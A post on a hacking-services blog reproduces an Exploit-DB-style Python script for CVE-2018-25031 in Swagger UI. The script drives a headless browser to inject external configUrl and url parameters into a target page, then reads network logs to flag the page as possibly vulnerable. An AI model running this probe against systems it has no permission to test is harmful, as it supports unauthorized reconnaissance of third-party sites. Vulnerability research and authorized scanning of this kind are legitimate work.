Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863552431

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information
# Date: 14 April, 2023
# Exploit Author: Rafael Cintra Lopes
# Vendor Homepage: https://swagger.io/
# Version: < 4.1.3
# CVE: CVE-2018-25031
# Site: https://rafaelcintralopes.com.br/

# Usage: python swagger-exploit.py https://[swagger-page].com

from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.chrome.service import Service
import time
import json
import sys

if __name__ == "__main__":

	target = sys.argv[1]

	desired_capabilities = DesiredCapabilities.CHROME
	desired_capabilities["goog:loggingPrefs"] = {"performance": "ALL"}

	options = webdriver.ChromeOptions()
	options.add_argument("--headless")
	options.add_argument("--ignore-certificate-errors")
	options.add_argument("--log-level=3")
	options.add_experimental_option("excludeSwitches", ["enable-logging"])

	# Browser webdriver path
	drive_service = Service("C:/chromedriver.exe")

	driver = webdriver.Chrome(service=drive_service,
							options=options,
							desired_capabilities=desired_capabilities)

	driver.get(target+"?configUrl=https://petstore.swagger.io/v2/hacked1.json")
	time.sleep(10)
	driver.get(target+"?url=https://petstore.swagger.io/v2/hacked2.json")
	time.sleep(10)

	logs = driver.get_log("performance")

	with open("log_file.json", "w", encoding="utf-8") as f:
		f.write("[")

		for log in logs:
			log_file = json.loads(log["message"])["message"]

			if("Network.response" in log_file["method"]
					or "Network.request" in log_file["method"]
					or "Network.webSocket" in log_file["method"]):

				f.write(json.dumps(log_file)+",")
		f.write("{}]")

	driver.quit()

	json_file_path = "log_file.json"
	with open(json_file_path, "r", encoding="utf-8") as f:
		logs = json.loads(f.read())

	for log in logs:
		try:
			url = log["params"]["request"]["url"]

			if(url == "https://petstore.swagger.io/v2/hacked1.json"):
				print("[Possibly Vulnerable] " + target + "?configUrl=https://petstore.swagger.io/v2/swagger.json")
			
			if(url == "https://petstore.swagger.io/v2/hacked2.json"):
				print("[Possibly Vulnerable] " + target + "?url=https://petstore.swagger.io/v2/swagger.json")

		except Exception as e:
			pass